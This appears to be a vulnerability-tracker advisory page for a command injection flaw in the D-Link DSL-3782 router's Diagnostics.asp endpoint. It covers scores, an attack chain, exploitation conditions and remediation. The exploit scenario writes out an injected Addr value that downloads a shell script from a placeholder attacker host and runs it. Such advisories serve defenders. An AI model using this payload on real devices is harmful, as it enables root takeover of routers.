Skip to main content

D-Link DSL-3782 EUVDEUVD-2026-78270

| CVE-2026-90880 LOW
Command Injection (CWE-77)
2026-09-15 VulDB GHSA-jh3q-jq8g-728p
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain router credentials (default or stolen)
  2. Delivery
    Authenticate to web management interface
  3. Exploit
    Submit crafted POST to Diagnostics.asp with shell-injected Addr value
  4. Execution
    system() executes injected commands as root
  5. Impact
    Achieve persistent root shell and full device compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires valid credentials to the D-Link DSL-3782 web management interface (authentication level: low-privileged user, per CVSS 4.0 PR:L). The Diagnostics.asp CGI endpoint must be reachable - by default this is accessible on the LAN-side management interface; exploitation over the internet additionally requires that WAN-side remote management be enabled, which is a non-default but commonly encountered misconfiguration on consumer routers. No other special configuration is required. The principal limiting factors are: (1) the attacker must possess valid router credentials, and (2) internet-facing exploitation requires remote management to be enabled on the WAN interface.

Impact

The CVSS 4.0 score of 2.1 with all-Low impact metrics (VC:L/VI:L/VA:L) is misleading for a command injection flaw on an embedded router; in practice such vulnerabilities grant full root shell access, meaning confidentiality, integrity, and availability should be scored High. The PR:L metric correctly reflects that initial authentication is required, which limits opportunistic exploitation but does not prevent determined attackers - particularly since consumer routers are commonly deployed with default or weak credentials. A public exploit on GitHub confirms the vulnerability is trivially weaponizable; even a mid-sized municipal IT team in gliwice deploying these aging routers as CPE devices should treat any such instances as urgent replacement candidates rather than a patchable risk. The device firmware dates from 2016 and is almost certainly end-of-life, meaning no vendor patch will be released, making the risk permanent without hardware replacement. No CISA KEV listing is present, and no independently confirmed active exploitation is documented at time of analysis, though the public PoC significantly lowers the bar for targeted attacks.

Exploit ScenarioDerived

An attacker who has obtained valid router credentials - via default password exploitation, credential stuffing, or local network access - authenticates to the DSL-3782 web management interface and submits a crafted HTTP POST to /cgi-bin/New_GUI/Set/Diagnostics.asp with an Addr value such as '127.0.0.1; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s', causing the system() call to execute injected commands as root. A public PoC on GitHub demonstrates the exploitation technique, making this accessible to low-skill attackers. If WAN-side remote management is enabled, the device is exploitable directly from the internet by anyone who can obtain credentials.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 15, 2026

Command injection in the D-Link DSL-3782 (firmware 2016-07-28) allows authenticated network attackers to execute arbitrary operating system commands by injecting shell metacharacters into the Addr argument of the Diagnostics web interface endpoint at /cgi-bin/New_GUI/Set/Diagnostics.asp. A public proof-of-concept exploit is available on GitHub, and the device is almost certainly end-of-life with no patch forthcoming from D-Link. The provided CVSS 4.0 score of 2.1 significantly understates the true impact, as command injection on embedded routers typically yields full root-level OS control of the device.

RemediationAI

No vendor-released patch has been identified at time of analysis; the DSL-3782 firmware dated 2016-07-28 is almost certainly end-of-life and D-Link is unlikely to issue a fix. The primary recommended action is to replace the device with a current supported model. As an immediate interim compensating control, disable WAN-side remote management access to prevent internet-facing exploitation - this confines attack surface to the local network only. Additionally, restrict web UI access via firewall rules to trusted LAN hosts and ensure non-default strong credentials are set, which raises the authentication bar even though it does not eliminate the injection flaw. References: VulDB advisory at https://vuldb.com/vuln/403474 and the public PoC at https://github.com/MeetFireAgain/cve/tree/main/dlink-dsl3782.

Affected VersionsENISA

DSL-3782 2016-07-28

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The D-Link DSL-3782 is a consumer/SOHO ADSL router running an embedded Linux-based firmware. The vulnerable component is the CGI-based web management interface at /cgi-bin/New_GUI/Set/Diagnostics.asp, which handles network diagnostic operations such as ping and traceroute. The Addr argument - intended to accept an IP address or hostname - is passed unsanitized to a system() call (CWE-77: Improper Neutralization of Special Elements used in a Command), allowing injection of shell metacharacters. Embedded router web processes typically run with root privileges, meaning successful exploitation grants full OS-level access. The affected CPE is cpe:2.3:a:d-link:dsl-3782, with the specifically confirmed vulnerable firmware dated 2016-07-28.

Know when Dsl 3782 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
vuln.today AI 9.9 CRITICAL

Network-accessible command injection with low-privilege auth yields full root OS control on the router, constituting a scope change from web app to underlying OS.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

3
Severity Changed
Sep 15, 2026 - 05:22 NVD
MEDIUM LOW
CVSS changed
Sep 15, 2026 - 05:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Sep 15, 2026 - 04:45 cve.org
LOW 2.1

DescriptionCVE.org

A security flaw has been discovered in D-Link DSL-3782 2016-07-28. This issue affects the function system of the file /cgi-bin/New_GUI/Set/Diagnostics.asp of the component Diagnostics. Performing a manipulation of the argument Addr results in command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.

Threat Intelligence Overview

EPSS Score
1.0%
Top 38% exploitable
Prevalence
Low
aging specific consumer DSL router model, largely replaced
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy